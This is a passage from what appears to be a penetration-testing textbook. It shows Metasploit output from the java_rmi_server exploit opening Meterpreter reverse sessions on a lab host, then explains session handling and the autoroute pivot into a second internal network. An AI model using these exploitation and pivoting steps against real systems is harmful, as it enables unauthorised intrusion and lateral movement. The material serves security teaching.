[
*
]
192.168.86.47:1099 - Server started.
[
*
]
192.168.86.47:1099 - Sending RMI Header...
[
*
]
192.168.86.47:1099 - Sending RMI Call...
[
*
]
192.168.86.47:1099
- Replied to request
for
payload JAR
[
*
]
Sending
stage
(
53837
bytes
)
to 192.168.86.47
[
*
]
Meterpreter session
1
opened
(
192.168.86.30:4444 -> 192.168.86.47:55125
)
at
2018-02-11 14:23:05 -0700
[
*
]
Sending stage
(
53837
bytes
)
to 192.168.86.47
[
*
]
Meterpreter session
2
opened
(
192.168.86.30:4444 -> 192.168.86.47:58050
)
at
2018-02-11 14:23:05 -0700
[
*
]
192.168.86.47:1099 - Server stopped.
msf exploit
(
multi/misc/java_rmi_server
)
> sessions -i 1
[
*
]
Starting interaction with 1...
meterpreter >
One thing you will notice is that I didn’t immediately get
a Meterpreter prompt after
running the exploit. The Meterpreter session appears to have been backgrounded.
You can do this yourself using
-j
after
exploit
. That would send the session to the
background. You may want the session open without necessarily
directly interacting
with it. If you have a backgrounded session, you can call it up with
sessions -i
followed
by the number of the session. I have
only a single session open, so the session I am
interacting with is number 1.
Once we have a session open, we can check for the number
of interfaces and the IP
networks those interfaces are on. You can see in
Example 6-19
that I’ve run
ipconfig
,
though you can’t see the command, since I am showing
only the output I care about
here. Interface 2 shows that the network is 192.168.2.0/24 with the IP address of
192.168.2.135. The other interface is the network that is reachable for us since that’s
the IP address we connected on. Using the IP network, we can set the route by run‐
ning the
autoroute
module. We do that with
run autoroute -s
followed by the IP net‐
work or address we want to set a route to.
Example 6-19. Using autoroute
Interface
2
============
Name : eth1 - eth1
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.2.135
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::20c:29ff:fefa:dd34
IPv6 Netmask : ::
Interface
3
============
Name : eth0 - eth0
